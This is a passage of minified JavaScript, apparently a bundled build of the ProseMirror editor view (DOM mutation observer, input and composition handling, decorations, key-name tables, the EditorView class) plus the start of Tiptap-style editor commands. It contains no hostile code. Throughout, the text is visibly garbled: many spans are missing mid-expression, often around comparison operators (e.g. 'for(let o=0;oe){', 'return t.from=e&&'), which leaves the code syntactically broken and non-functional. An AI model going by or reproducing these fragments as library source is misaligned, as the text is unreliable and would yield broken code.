t=e;s.focused&&(s.domObserver.stop(),s.dom.classList.remove("ProseMirror-focused"),s.domObserver.start(),t.relatedTarget&&s.dom.contains(t.relatedTarget)&&s.domObserver.currentSelection.clear(),s.focused=!1)};er.beforeinput=(s,e)=>{if(vi&&pc&&e.inputType=="deleteContentBackward"){s.domObserver.flushSoon();let{domChangeCount:n}=s.input;setTimeout(()=>{if(s.input.domChangeCount!=n||(s.dom.blur(),s.focus(),s.someProp("handleKeyDown",r=>r(s,Ih(8,"Backspace")))))return;let{$cursor:i}=s.state.selection;i&&i.pos>0&&s.dispatch(s.state.tr.delete(i.pos-1,i.pos).scrollIntoView())},50)}};for(let s in tr)er[s]=tr[s];function Jv(s,e){if(s==e)return!0;for(let t in s)if(s[t]!==e[t])return!1;for(let t in e)if(!(t in s))return!1;return!0}class Ew{constructor(e,t){this.toDOM=e,this.spec=t||wf,this.side=this.spec.side||0}map(e,t,n,i){let{pos:r,deleted:o}=e.mapResult(t.from+i,this.side<0?-1:1);return o?null:new Mi(r-n,r-n,this)}valid(){return!0}eq(e){return this==e||e instanceof Ew&&(this.spec.key&&this.spec.key==e.spec.key||this.toDOM==e.toDOM&&Jv(this.spec,e.spec))}destroy(e){this.spec.destroy&&this.spec.destroy(e)}}class rh{constructor(e,t){this.attrs=e,this.spec=t||wf}map(e,t,n,i){let r=e.map(t.from+i,this.spec.inclusiveStart?-1:1)-n,o=e.map(t.to+i,this.spec.inclusiveEnd?1:-1)-n;return r>=o?null:new Mi(r,o,this)}valid(e,t){return t.from=e&&(!r||r(a.spec))&&n.push(a.copy(a.from+i,a.to+i))}for(let o=0;oe){let a=this.children[o]+1;this.children[o+2].findInner(e-a,t-a,n,i+a,r)}}map(e,t,n){return this==Ti||e.maps.length==0?this:this.mapInner(e,t,0,0,n||wf)}mapInner(e,t,n,i,r){let o;for(let a=0;a{let l=c+n,u;if(u=GP(t,a,l)){for(i||(i=this.children.slice());ra&&h.to=e){this.children[a]==e&&(n=this.children[a+2]);break}let r=e+1,o=r+t.content.size;for(let a=0;ar&&c.type instanceof rh){let l=Math.max(r,c.from)-r,u=Math.min(o,c.to)-r;li.map(e,t,wf));return Jc.from(n)}forChild(e,t){if(t.isLeaf)return Bs.empty;let n=[];for(let i=0;it instanceof Bs)?e:e.reduce((t,n)=>t.concat(n instanceof Bs?n:n.members),[]))}}forEachSet(e){for(let t=0;t{let g=v-m-(p-d);for(let y=0;yb+u-h)continue;let _=a[y]+u-h;p>=_?a[y+1]=d<=_?-2:-1:d>=u&&g&&(a[y]+=g,a[y+1]+=g)}h+=g}),u=t.maps[l].map(u,-1)}let c=!1;for(let l=0;l=n.content.size){c=!0;continue}let d=t.map(s[l+1]+r,-1),p=d-i,{index:m,offset:v}=n.content.findIndex(h),g=n.maybeChild(m);if(g&&v==h&&v+g.nodeSize==p){let y=a[l+2].mapInner(t,g,u+1,s[l]+r+1,o);y!=Ti?(a[l]=h,a[l+1]=p,a[l+2]=y):(a[l+1]=-2,c=!0)}else c=!0}if(c){let l=KV(a,s,e,t,i,r,o),u=Mw(l,n,0,o);e=u.local;for(let h=0;ht&&o.to{let l=GP(s,a,c+t);if(l){r=!0;let u=Mw(l,a,t+c+1,n);u!=Ti&&i.push(c,c+a.nodeSize,u)}});let o=VP(r?qP(s):s,-t).sort(kf);for(let a=0;a0;)e++;s.splice(e,0,t)}function mC(s){let e=[];return s.someProp("decorations",t=>{let n=t(s.state);n&&n!=Ti&&e.push(n)}),s.cursorWrapper&&e.push(Bs.create(s.state.doc,[s.cursorWrapper.deco])),Jc.from(e)}const QV={childList:!0,characterData:!0,characterDataOldValue:!0,attributes:!0,attributeOldValue:!0,subtree:!0},XV=yr&&nh<=11;class YV{constructor(){this.anchorNode=null,this.anchorOffset=0,this.focusNode=null,this.focusOffset=0}set(e){this.anchorNode=e.anchorNode,this.anchorOffset=e.anchorOffset,this.focusNode=e.focusNode,this.focusOffset=e.focusOffset}clear(){this.anchorNode=this.focusNode=null}eq(e){return e.anchorNode==this.anchorNode&&e.anchorOffset==this.anchorOffset&&e.focusNode==this.focusNode&&e.focusOffset==this.focusOffset}}class JV{constructor(e,t){this.view=e,this.handleDOMChange=t,this.queue=[],this.flushingSoon=-1,this.observer=null,this.currentSelection=new YV,this.onCharData=null,this.suppressingSelectionUpdates=!1,this.lastChangedTextNode=null,this.observer=window.MutationObserver&&new window.MutationObserver(n=>{for(let i=0;ii.type=="childList"&&i.removedNodes.length||i.type=="characterData"&&i.oldValue.length>i.target.nodeValue.length)?this.flushSoon():Li&&e.composing&&n.some(i=>i.type=="childList"&&i.target.nodeName=="TR")?(e.input.badSafariComposition=!0,this.flushSoon()):this.flush()}),XV&&(this.onCharData=n=>{this.queue.push({target:n.target,type:"characterData",oldValue:n.prevValue}),this.flushSoon()}),this.onSelectionChange=this.onSelectionChange.bind(this)}flushSoon(){this.flushingSoon<0&&(this.flushingSoon=window.setTimeout(()=>{this.flushingSoon=-1,this.flush()},20))}forceFlush(){this.flushingSoon>-1&&(window.clearTimeout(this.flushingSoon),this.flushingSoon=-1,this.flush())}start(){this.observer&&(this.observer.takeRecords(),this.observer.observe(this.view.dom,QV)),this.onCharData&&this.view.dom.addEventListener("DOMCharacterDataModified",this.onCharData),this.connectSelection()}stop(){if(this.observer){let e=this.observer.takeRecords();if(e.length){for(let t=0;tthis.flush(),20)}this.observer.disconnect()}this.onCharData&&this.view.dom.removeEventListener("DOMCharacterDataModified",this.onCharData),this.disconnectSelection()}connectSelection(){this.view.dom.ownerDocument.addEventListener("selectionchange",this.onSelectionChange)}disconnectSelection(){this.view.dom.ownerDocument.removeEventListener("selectionchange",this.onSelectionChange)}suppressSelectionUpdates(){this.suppressingSelectionUpdates=!0,setTimeout(()=>this.suppressingSelectionUpdates=!1,50)}onSelectionChange(){if(Fx(this.view)){if(this.suppressingSelectionUpdates)return Sc(this.view);if(yr&&nh<=11&&!this.view.state.selection.empty){let e=this.view.domSelectionRange();if(e.focusNode&&Ef(e.focusNode,e.focusOffset,e.anchorNode,e.anchorOffset))return this.flushSoon()}this.flush()}}setCurSelection(){this.currentSelection.set(this.view.domSelectionRange())}ignoreSelectionChange(e){if(!e.focusNode)return!0;let t=new Set,n;for(let r=e.focusNode;r;r=em(r))t.add(r);for(let r=e.anchorNode;r;r=em(r))if(t.has(r)){n=r;break}let i=n&&this.view.docView.nearestDesc(n);if(i&&i.ignoreMutation({type:"selection",target:n.nodeType==3?n.parentNode:n}))return this.setCurSelection(),!0}pendingRecords(){if(this.observer)for(let e of this.observer.takeRecords())this.queue.push(e);return this.queue}flush(){let{view:e}=this;if(!e.docView||this.flushingSoon>-1)return;let t=this.pendingRecords();t.length&&(this.queue=[]);let n=e.domSelectionRange(),i=!this.suppressingSelectionUpdates&&!this.currentSelection.eq(n)&&Fx(e)&&!this.ignoreSelectionChange(n),r=-1,o=-1,a=!1,c=[];if(e.editable)for(let u=0;uu.nodeName=="BR")&&(e.input.lastKeyCode==8||e.input.lastKeyCode==46)){for(let u of c)if(u.nodeName=="BR"&&u.parentNode){let h=u.nextSibling;for(;h&&h.nodeType==1;){if(h.contentEditable=="false"){u.parentNode.removeChild(u);break}h=h.firstChild}}}else if(Po&&c.length){let u=c.filter(h=>h.nodeName=="BR");if(u.length==2){let[h,d]=u;h.parentNode&&h.parentNode.parentNode==d.parentNode?d.remove():h.remove()}else{let{focusNode:h}=this.currentSelection;for(let d of u){let p=d.parentNode;p&&p.nodeName=="LI"&&(!h||tG(e,h)!=p)&&d.remove()}}}let l=null;r<0&&i&&e.input.lastFocus>Date.now()-200&&Math.max(e.input.lastTouch,e.input.lastClick.time)-1||i)&&(r>-1&&(e.docView.markDirty(r,o),ZV(e)),e.input.badSafariComposition&&(e.input.badSafariComposition=!1,sG(e,c)),this.handleDOMChange(r,o,a,c),e.docView&&e.docView.dirty?e.updateState(e.state):this.currentSelection.eq(n)||Sc(e),this.currentSelection.set(n))}registerMutation(e,t){if(t.indexOf(e.target)>-1)return null;let n=this.view.docView.nearestDesc(e.target);if(e.type=="attributes"&&(n==this.view.docView||e.attributeName=="contenteditable"||e.attributeName=="style"&&!e.oldValue&&!e.target.getAttribute("style"))||!n||n.ignoreMutation(e))return null;if(e.type=="childList"){for(let u=0;ui;g--){let y=n.childNodes[g-1],b=y.pmViewDesc;if(y.nodeName=="BR"&&!b){r=g;break}if(!b||b.size)break}let h=s.state.doc,d=s.someProp("domParser")||Av.fromSchema(s.state.schema),p=h.resolve(o),m=null,v=d.parse(n,{topNode:p.parent,topMatch:p.parent.contentMatchAt(p.index()),topOpen:!0,from:i,to:r,preserveWhitespace:p.parent.type.whitespace=="pre"?"full":!0,findPositions:l,ruleFromNode:iG,context:p});if(l&&l[0].pos!=null){let g=l[0].pos,y=l[1]&&l[1].pos;y==null&&(y=g),m={anchor:g+o,head:y+o}}return{doc:v,sel:m,from:o,to:a}}function iG(s){let e=s.pmViewDesc;if(e)return e.parseRule();if(s.nodeName=="BR"&&s.parentNode){if(Li&&/^(ul|ol)$/i.test(s.parentNode.nodeName)){let t=document.createElement("div");return t.appendChild(document.createElement("li")),{skip:t}}else if(s.parentNode.lastChild==s||Li&&/^(tr|table)$/i.test(s.parentNode.nodeName))return{ignore:!0}}else if(s.nodeName=="IMG"&&s.getAttribute("mark-placeholder"))return{ignore:!0};return null}const rG=/^(a|abbr|acronym|b|bd[io]|big|br|button|cite|code|data(list)?|del|dfn|em|i|img|ins|kbd|label|map|mark|meter|output|q|ruby|s|samp|small|span|strong|su[bp]|time|u|tt|var)$/i;function oG(s,e,t,n,i){let r=s.input.compositionPendingChanges||(s.composing?s.input.compositionID:0);if(s.input.compositionPendingChanges=0,e<0){let T=s.input.lastSelectionTime>Date.now()-50?s.input.lastSelectionOrigin:null,k=EE(s,T);if(k&&!s.state.selection.eq(k)){if(vi&&pc&&s.input.lastKeyCode===13&&Date.now()-100M(s,Ih(13,"Enter"))))return;let A=s.state.tr.setSelection(k);T=="pointer"?A.setMeta("pointer",!0):T=="key"&&A.scrollIntoView(),r&&A.setMeta("composition",r),s.dispatch(A)}return}let o=s.state.doc.resolve(e),a=o.sharedDepth(t);e=o.before(a+1),t=s.state.doc.resolve(t).after(a+1);let c=s.state.selection,l=nG(s,e,t),u=s.state.doc,h=u.slice(l.from,l.to),d,p;s.input.lastKeyCode===8&&Date.now()-100Date.now()-225||pc)&&i.some(T=>T.nodeType==1&&!rG.test(T.nodeName))&&(!m||m.endA>=m.endB)&&s.someProp("handleKeyDown",T=>T(s,Ih(13,"Enter")))){s.input.lastIOSEnter=0;return}if(!m)if(n&&c instanceof _t&&!c.empty&&c.$head.sameParent(c.$anchor)&&!s.composing&&!(l.sel&&l.sel.anchor!=l.sel.head))m={start:c.from,endA:c.to,endB:c.to};else{if(l.sel){let T=Xx(s,s.state.doc,l.sel);if(T&&!T.eq(s.state.selection)){let k=s.state.tr.setSelection(T);r&&k.setMeta("composition",r),s.dispatch(k)}}return}s.state.selection.froms.state.selection.from&&m.start<=s.state.selection.from+2&&s.state.selection.from>=l.from?m.start=s.state.selection.from:m.endA=s.state.selection.to-2&&s.state.selection.to<=l.to&&(m.endB+=s.state.selection.to-m.endA,m.endA=s.state.selection.to)),yr&&nh<=11&&m.endB==m.start+1&&m.endA==m.start&&m.start>l.from&&l.doc.textBetween(m.start-l.from-1,m.start-l.from+1)=="  "&&(m.start--,m.endA--,m.endB--);let v=l.doc.resolveNoCache(m.start-l.from),g=l.doc.resolveNoCache(m.endB-l.from),y=u.resolve(m.start),b=v.sameParent(g)&&v.parent.inlineContent&&y.end()>=m.endA;if((tm&&s.input.lastIOSEnter>Date.now()-225&&(!b||i.some(T=>T.nodeName=="DIV"||T.nodeName=="P"))||!b&&v.posT(s,Ih(13,"Enter")))){s.input.lastIOSEnter=0;return}if(s.state.selection.anchor>m.start&&lG(u,m.start,m.endA,v,g)&&s.someProp("handleKeyDown",T=>T(s,Ih(8,"Backspace")))){pc&&vi&&s.domObserver.suppressSelectionUpdates();return}vi&&m.endB==m.start&&(s.input.lastChromeDelete=Date.now()),pc&&!b&&v.start()!=g.start()&&g.parentOffset==0&&v.depth==g.depth&&l.sel&&l.sel.anchor==l.sel.head&&l.sel.head==m.endA&&(m.endB-=2,g=l.doc.resolveNoCache(m.endB-l.from),setTimeout(()=>{s.someProp("handleKeyDown",function(T){return T(s,Ih(13,"Enter"))})},20));let _=m.start,w=m.endA,S=T=>{let k=T||s.state.tr.replace(_,w,l.doc.slice(m.start-l.from,m.endB-l.from));if(l.sel){let A=Xx(s,k.doc,l.sel);A&&!(vi&&s.composing&&A.empty&&(m.start!=m.endB||s.input.lastChromeDeleteSc(s),20));let T=S(s.state.tr.delete(_,w)),k=u.resolve(m.start).marksAcross(u.resolve(m.endA));k&&T.ensureMarks(k),s.dispatch(T)}else if(m.endA==m.endB&&(C=aG(v.parent.content.cut(v.parentOffset,g.parentOffset),y.parent.content.cut(y.parentOffset,m.endA-y.start())))){let T=S(s.state.tr);C.type=="add"?T.addMark(_,w,C.mark):T.removeMark(_,w,C.mark),s.dispatch(T)}else if(v.parent.child(v.index()).isText&&v.index()==g.index()-(g.textOffset?0:1)){let T=v.parent.textBetween(v.parentOffset,g.parentOffset),k=()=>S(s.state.tr.insertText(T,_,w));s.someProp("handleTextInput",A=>A(s,_,w,T,k))||s.dispatch(k())}else s.dispatch(S());else s.dispatch(S())}function Xx(s,e,t){return Math.max(t.anchor,t.head)>e.content.size?null:ME(s,e.resolve(t.anchor),e.resolve(t.head))}function aG(s,e){let t=s.firstChild.marks,n=e.firstChild.marks,i=t,r=n,o,a,c;for(let u=0;uu.mark(a.addToSet(u.marks));else if(i.length==0&&r.length==1)a=r[0],o="remove",c=u=>u.mark(a.removeFromSet(u.marks));else return null;let l=[];for(let u=0;ut||vC(o,!0,!1)0&&(e||s.indexAfter(n)==s.node(n).childCount);)n--,i++,e=!1;if(t){let r=s.node(n).maybeChild(s.indexAfter(n));for(;r&&!r.isLeaf;)r=r.firstChild,i++}return i}function cG(s,e,t,n,i){let r=s.findDiffStart(e,t);if(r==null)return null;let{a:o,b:a}=s.findDiffEnd(e,t+s.size,t+e.size);if(i=="end"){let c=Math.max(0,r-Math.min(o,a));n-=o+c-r}if(o=o?r-n:0;r-=c,r&&r=a?r-n:0;r-=c,r&&r=56320&&e<=57343&&t>=55296&&t<=56319}class KP{constructor(e,t){this._root=null,this.focused=!1,this.trackWrites=null,this.mounted=!1,this.markCursor=null,this.cursorWrapper=null,this.lastSelectedViewDesc=void 0,this.input=new TV,this.prevDirectPlugins=[],this.pluginViews=[],this.requiresGeckoHackNode=!1,this.dragging=null,this._props=t,this.state=t.state,this.directPlugins=t.plugins||[],this.directPlugins.forEach(sI),this.dispatch=this.dispatch.bind(this),this.dom=e&&e.mount||document.createElement("div"),e&&(e.appendChild?e.appendChild(this.dom):typeof e=="function"?e(this.dom):e.mount&&(this.mounted=!0)),this.editable=eI(this),Zx(this),this.nodeViews=tI(this),this.docView=Lx(this.state.doc,Jx(this),mC(this),this.dom,this),this.domObserver=new JV(this,(n,i,r,o)=>oG(this,n,i,r,o)),this.domObserver.start(),AV(this),this.updatePluginViews()}get composing(){return this.input.composing}get props(){if(this._props.state!=this.state){let e=this._props;this._props={};for(let t in e)this._props[t]=e[t];this._props.state=this.state}return this._props}update(e){e.handleDOMEvents!=this._props.handleDOMEvents&&G1(this);let t=this._props;this._props=e,e.plugins&&(e.plugins.forEach(sI),this.directPlugins=e.plugins),this.updateStateInner(e.state,t)}setProps(e){let t={};for(let n in this._props)t[n]=this._props[n];t.state=this.state;for(let n in e)t[n]=e[n];this.update(t)}updateState(e){this.updateStateInner(e,this._props)}updateStateInner(e,t){var n;let i=this.state,r=!1,o=!1;e.storedMarks&&this.composing&&(UP(this),o=!0),this.state=e;let a=i.plugins!=e.plugins||this._props.plugins!=t.plugins;if(a||this._props.plugins!=t.plugins||this._props.nodeViews!=t.nodeViews){let p=tI(this);hG(p,this.nodeViews)&&(this.nodeViews=p,r=!0)}(a||t.handleDOMEvents!=this._props.handleDOMEvents)&&G1(this),this.editable=eI(this),Zx(this);let c=mC(this),l=Jx(this),u=i.plugins!=e.plugins&&!i.doc.eq(e.doc)?"reset":e.scrollToSelection>i.scrollToSelection?"to selection":"preserve",h=r||!this.docView.matchesNode(e.doc,l,c);(h||!e.selection.eq(i.selection))&&(o=!0);let d=u=="preserve"&&o&&this.dom.style.overflowAnchor==null&&H7(this);if(o){this.domObserver.stop();let p=h&&(yr||vi)&&!this.composing&&!i.selection.empty&&!e.selection.empty&&uG(i.selection,e.selection);if(h){let m=vi?this.trackWrites=this.domSelectionRange().focusNode:null;this.composing&&(this.input.compositionNode=HV(this)),(r||!this.docView.update(e.doc,l,c,this))&&(this.docView.updateOuterDeco(l),this.docView.destroy(),this.docView=Lx(e.doc,l,c,this.dom,this)),m&&(!this.trackWrites||!this.dom.contains(this.trackWrites))&&(p=!0)}p||!(this.input.mouseDown&&this.domObserver.currentSelection.eq(this.domSelectionRange())&&uV(this))?Sc(this,p):(xP(this,e.selection),this.domObserver.setCurSelection()),this.domObserver.start()}this.updatePluginViews(i),!((n=this.dragging)===null||n===void 0)&&n.node&&!i.doc.eq(e.doc)&&this.updateDraggedNode(this.dragging,i),u=="reset"?this.dom.scrollTop=0:u=="to selection"?this.scrollToSelection():d&&U7(d)}scrollToSelection(){let e=this.domSelectionRange().focusNode;if(!(!e||!this.dom.contains(e.nodeType==1?e:e.parentNode))){if(!this.someProp("handleScrollToSelection",t=>t(this)))if(this.state.selection instanceof vt){let t=this.docView.domAfterPos(this.state.selection.from);t.nodeType==1&&Ax(this,t.getBoundingClientRect(),e)}else Ax(this,this.coordsAtPos(this.state.selection.head,1),e)}}destroyPluginViews(){let e;for(;e=this.pluginViews.pop();)e.destroy&&e.destroy()}updatePluginViews(e){if(!e||e.plugins!=this.state.plugins||this.directPlugins!=this.prevDirectPlugins){this.prevDirectPlugins=this.directPlugins,this.destroyPluginViews();for(let t=0;t0&&rt.ownerDocument.getSelection()),this._root=t}return e||document}updateRoot(){this._root=null}posAtCoords(e){return q7(this,e)}coordsAtPos(e,t=1){return SP(this,e,t)}domAtPos(e,t=0){return this.docView.domFromPos(e,t)}nodeDOM(e){let t=this.docView.descAt(e);return t?t.nodeDOM:null}posAtDOM(e,t,n=-1){let i=this.docView.posFromDOM(e,t,n);if(i==null)throw new RangeError("DOM position not inside the editor");return i}endOfTextblock(e,t){return J7(this,t||this.state,e)}pasteHTML(e,t){return Yv(this,"",e,!1,t||new ClipboardEvent("paste"))}pasteText(e,t){return Yv(this,e,null,!0,t||new ClipboardEvent("paste"))}serializeForClipboard(e){return xE(this,e)}destroy(){this.docView&&(EV(this),this.destroyPluginViews(),this.mounted?(this.docView.update(this.state.doc,[],mC(this),this),this.dom.textContent=""):this.dom.parentNode&&this.dom.parentNode.removeChild(this.dom),this.docView.destroy(),this.docView=null,I7())}get isDestroyed(){return this.docView==null}dispatchEvent(e){return xV(this,e)}domSelectionRange(){let e=this.domSelection();return e?Li&&this.root.nodeType===11&&D7(this.dom.ownerDocument)==this.dom&&eG(this,e)||e:{focusNode:null,focusOffset:0,anchorNode:null,anchorOffset:0}}domSelection(){return this.root.getSelection()}}KP.prototype.dispatch=function(s){let e=this._props.dispatchTransaction;e?e.call(this,s):this.updateState(this.state.apply(s))};function Jx(s){let e=Object.create(null);return e.class="ProseMirror",e.contenteditable=String(s.editable),s.someProp("attributes",t=>{if(typeof t=="function"&&(t=t(s.state)),t)for(let n in t)n=="class"?e.class+=" "+t[n]:n=="style"?e.style=(e.style?e.style+";":"")+t[n]:!e[n]&&n!="contenteditable"&&n!="nodeName"&&(e[n]=String(t[n]))}),e.translate||(e.translate="no"),[Mi.node(0,s.state.doc.content.size,e)]}function Zx(s){if(s.markCursor){let e=document.createElement("img");e.className="ProseMirror-separator",e.setAttribute("mark-placeholder","true"),e.setAttribute("alt",""),s.cursorWrapper={dom:e,deco:Mi.widget(s.state.selection.from,e,{raw:!0,marks:s.markCursor})}}else s.cursorWrapper=null}function eI(s){return!s.someProp("editable",e=>e(s.state)===!1)}function uG(s,e){let t=Math.min(s.$anchor.sharedDepth(s.head),e.$anchor.sharedDepth(e.head));return s.$anchor.start(t)!=e.$anchor.start(t)}function tI(s){let e=Object.create(null);function t(n){for(let i in n)Object.prototype.hasOwnProperty.call(e,i)||(e[i]=n[i])}return s.someProp("nodeViews",t),s.someProp("markViews",t),e}function hG(s,e){let t=0,n=0;for(let i in s){if(s[i]!=e[i])return!0;t++}for(let i in e)n++;return t!=n}function sI(s){if(s.spec.state||s.spec.filterTransaction||s.spec.appendTransaction)throw new RangeError("Plugins passed directly to the view must not have a state component")}var ah={8:"Backspace",9:"Tab",10:"Enter",12:"NumLock",13:"Enter",16:"Shift",17:"Control",18:"Alt",20:"CapsLock",27:"Escape",32:" ",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"ArrowLeft",38:"ArrowUp",39:"ArrowRight",40:"ArrowDown",44:"PrintScreen",45:"Insert",46:"Delete",59:";",61:"=",91:"Meta",92:"Meta",106:"*",107:"+",108:",",109:"-",110:".",111:"/",144:"NumLock",145:"ScrollLock",160:"Shift",161:"Shift",162:"Control",163:"Control",164:"Alt",165:"Alt",173:"-",186:";",187:"=",188:",",189:"-",190:".",191:"/",192:"`",219:"[",220:"\\",221:"]",222:"'"},xw={48:")",49:"!",50:"@",51:"#",52:"$",53:"%",54:"^",55:"&",56:"*",57:"(",59:":",61:"+",173:"_",186:":",187:"+",188:"<",189:"_",190:">",191:"?",192:"~",219:"{",220:"|",221:"}",222:'"'},dG=typeof navigator<"u"&&/Mac/.test(navigator.platform),fG=typeof navigator<"u"&&/MSIE \d|Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(navigator.userAgent);for(var pi=0;pi<10;pi++)ah[48+pi]=ah[96+pi]=String(pi);for(var pi=1;pi<=24;pi++)ah[pi+111]="F"+pi;for(var pi=65;pi<=90;pi++)ah[pi]=String.fromCharCode(pi+32),xw[pi]=String.fromCharCode(pi);for(var yC in ah)xw.hasOwnProperty(yC)||(xw[yC]=ah[yC]);function pG(s){var e=dG&&s.metaKey&&s.shiftKey&&!s.ctrlKey&&!s.altKey||fG&&s.shiftKey&&s.key&&s.key.length==1||s.key=="Unidentified",t=!e&&s.key||(s.shiftKey?xw:ah)[s.keyCode]||s.key||"Unidentified";return t=="Esc"&&(t="Escape"),t=="Del"&&(t="Delete"),t=="Left"&&(t="ArrowLeft"),t=="Up"&&(t="ArrowUp"),t=="Right"&&(t="ArrowRight"),t=="Down"&&(t="ArrowDown"),t}const gG=typeof navigator<"u"&&/Mac|iP(hone|[oa]d)/.test(navigator.platform),mG=typeof navigator<"u"&&/Win/.test(navigator.platform);function vG(s){let e=s.split(/-(?!$)/),t=e[e.length-1];t=="Space"&&(t=" ");let n,i,r,o;for(let a=0;a{for(var t in e)_G(s,t,{get:e[t],enumerable:!0})};function sk(s){const{state:e,transaction:t}=s;let{selection:n}=t,{doc:i}=t,{storedMarks:r}=t;return{...e,apply:e.apply.bind(e),applyTransaction:e.applyTransaction.bind(e),plugins:e.plugins,schema:e.schema,reconfigure:e.reconfigure.bind(e),toJSON:e.toJSON.bind(e),get storedMarks(){return r},get selection(){return n},get doc(){return i},get tr(){return n=t.selection,i=t.doc,r=t.storedMarks,t}}}var nk=class{constructor(e){this.editor=e.editor,this.rawCommands=this.editor.extensionManager.commands,this.customState=e.state}get hasCustomState(){return!!this.customState}get state(){return this.customState||this.editor.state}get commands(){const{rawCommands:e,editor:t,state:n}=this,{view:i}=t,{tr:r}=n,o=this.buildProps(r);return Object.fromEntries(Object.entries(e).map(([a,c])=>[a,(...u)=>{const h=c(...u)(o);return!r.getMeta("preventDispatch")&&!this.hasCustomState&&i.dispatch(r),h}]))}get chain(){return()=>this.createChain()}get can(){return()=>this.createCan()}createChain(e,t=!0){const{rawCommands:n,editor:i,state:r}=this,{view:o}=i,a=[],c=!!e,l=e||r.tr,u=()=>(!c&&t&&!l.getMeta("preventDispatch")&&!this.hasCustomState&&o.dispatch(l),a.every(d=>d===!0)),h={...Object.fromEntries(Object.entries(n).map(([d,p])=>[d,(...v)=>{const g=this.buildProps(l,t),y=p(...v)(g);return a.push(y),h}])),run:u};return h}createCan(e){const{rawCommands:t,state:n}=this,i=!1,r=e||n.tr,o=this.buildProps(r,i);return{...Object.fromEntries(Object.entries(t).map(([c,l])=>[c,(...u)=>l(...u)({...o,dispatch:void 0})])),chain:()=>this.createChain(r,i)}}buildProps(e,t=!0){const{rawCommands:n,editor:i,state:r}=this,{view:o}=i,a={tr:e,editor:i,view:o,state:sk({state:r,transaction:e}),dispatch:t?()=>{}:void 0,chain:()=>this.createChain(e,t),can:()=>this.createCan(e),get commands(){return Object.fromEntries(Object.entries(n).map(([c,l])=>[c,(...u)=>l(...u)(a)]))}};return a}},XP={};DE(XP,{blur:()=>SG,clearContent:()=>wG,clearNodes:()=>kG,command:()=>CG,createParagraphNear:()=>TG,cut:()=>AG,deleteCurrentNode:()=>EG,deleteNode:()=>MG,deleteRange:()=>xG,deleteSelection:()=>LG,enter:()=>PG,exitCode:()=>OG,extendMarkRange:()=>DG,first:()=>NG,focus:()=>FG,forEach:()=>$G,insertContent:()=>HG,insertContentAt:()=>zG,joinBackward:()=>GG,joinDown:()=>VG,joinForward:()=>qG,joinItemBackward:()=>KG,joinItemForward:()=>QG,joinTextblockBackward:()=>XG,joinTextblockForward:()=>YG,joinUp:()=>jG,keyboardShortcut:()=>ZG,lift:()=>eq,liftEmptyBlock:()=>tq,liftListItem:()=>sq,newlineInCode:()=>nq,resetAttributes:()=>iq,scrollIntoView:()=>rq,selectAll:()=>oq,selectNodeBackward:()=>aq,selectNodeForward:()=>lq,selectParentNode:()=>cq,selectTextblockEnd:()=>uq,selectTextblockStart:()=>hq,setContent:()=>dq,setMark:()=>Pq,setMeta:()=>Oq,setNode:()=>Dq,setNodeSelection:()=>Nq,setTextDirection:()=>Bq,setTextSelection:()=>Fq,sinkListItem:()=>$q,splitBlock:()=>Hq,splitListItem:()=>Uq,toggleList:()=>zq,toggleMark:()=>jq,toggleNode:()=>Vq,toggleWrap:()=>Gq,undoInputRule:()=>qq,unsetAllMarks:()=>Kq,unsetMark:()=>Qq,unsetTextDirection:()=>Xq,updateAttributes:()=>Yq,wrapIn:()=>Jq,wrapInList:()=>Zq});var SG=()=>({editor:s,view:e})=>(requestAnimationFrame(()=>{var t;s.isDestroyed||(e.dom.blur(),(t=window==null?void 0:window.getSelection())==null||t.removeAllRanges())}),!0),wG=(s=!0)=>({commands:e})=>e.setContent("",{emitUpdate:s}),kG=()=>({state:s,tr:e,dispatch:t})=>{const{selection:n}=e,{ranges:i}=n;return t&&i.forEach(({$from:r,$to:o})=>{s.doc.nodesBetween(r.pos,o.pos,(a,c)=>{if(a.type.isText)return;const{doc:l,mapping:u}=e,h=l.resolve(u.map(c)),d=l.resolve(u.map(c+a.nodeSize)),p=h.blockRange(d);if(!p)return;const m=fm(p);if(a.type.isTextblock){const{defaultType:v}=h.parent.contentMatchAt(h.index());e.setNodeMarkup(p.start,v)}(m||m===0)&&e.lift(p,m)})}),!0},CG=s=>e=>s(e),TG=()=>({state:s,dispatch:e})=>uP(s,e),AG=(s,e)=>({editor:t,tr:n})=>{const{state:i}=t,r=i.doc.slice(s.from,s.to);n.deleteRange(s.from,s.to);const o=n.mapping.map(e);return n.insert(o,r.content),n.setSelection(new _t(n.doc.resolve(Math.max(o-1,0)))),!0},EG=()=>({tr:s,dispatch:e})=>{const{selection:t}=s,n=t.$anchor.node();if(n.content.size>0)return!1;const i=s.selection.$anchor;for(let r=i.depth;r>0;r-=1)if(i.node(r).type===n.type){if(e){const a=i.before(r),c=i.after(r);s.delete(a,c).scrollIntoView()}return!0}return!1};function wn(s,e){if(typeof s=="string"){if(!e.nodes[s])throw Error(`There is no node type named '${s}'. Maybe you forgot to add the extension?`);return e.nodes[s]}return s}var MG=s=>({tr:e,state:t,dispatch:n})=>{const i=wn(s,t.schema),r=e.selection.$anchor;for(let o=r.depth;o>0;o-=1)if(r.node(o).type===i){if(n){const c=r.before(o),l=r.after(o);e.delete(c,l).scrollIntoView()}return!0}return!1},xG=s=>({tr:e,dispatch:t})=>{const{from:n,to:i}=s;return t&&e.delete(n,i),!0},IG=s=>s.content?/^text(\*|\+)/.test(s.content):!1,nI=(s,e,t)=>{if(!s.parent.isInline||t==="left"&&s.pos>s.start()||t==="right"&&s.pos{const n=nI(s,t,"left"),i=nI(e,t,"right");return{from:n,to:i}},LG=()=>({state:s,dispatch:e})=>{const{$from:t,$to:n}=s.selection;if(s.selection.empty)return!1;const{from:i,to:r}=RG(t,n,s.schema);return e&&(s.tr.deleteRange(i,r).scrollIntoView(),e(s.tr)),!0},PG=()=>({commands:s})=>s.keyboardShortcut("Enter"),OG=()=>({state:s,dispatch:e})=>g7(s,e);function NE(s){return Object.prototype.toString.call(s)==="[object RegExp]"}function Iw(s,e,t={strict:!0}){const n=Object.keys(e);return n.length?n.every(i=>t.strict?e[i]===s[i]:NE(e[i])?e[i].test(s[i]):e[i]===s[i]):!0}function YP(s,e,t={}){return s.find(n=>n.type===e&&Iw(Object.fromEntries(Object.keys(t).map(i=>[i,n.attrs[i]])),t))}function iI(s,e,t={}){return!!YP(s,e,t)}function BE(s,e,t){if(!s||!e)return;let n=s.parent.childAfter(s.parentOffset);if((!n.node||!n.node.marks.some(l=>l.type===e))&&(n=s.parent.childBefore(s.parentOffset)),!n.node||!n.node.marks.some(l=>l.type===e))return;if(!t){const 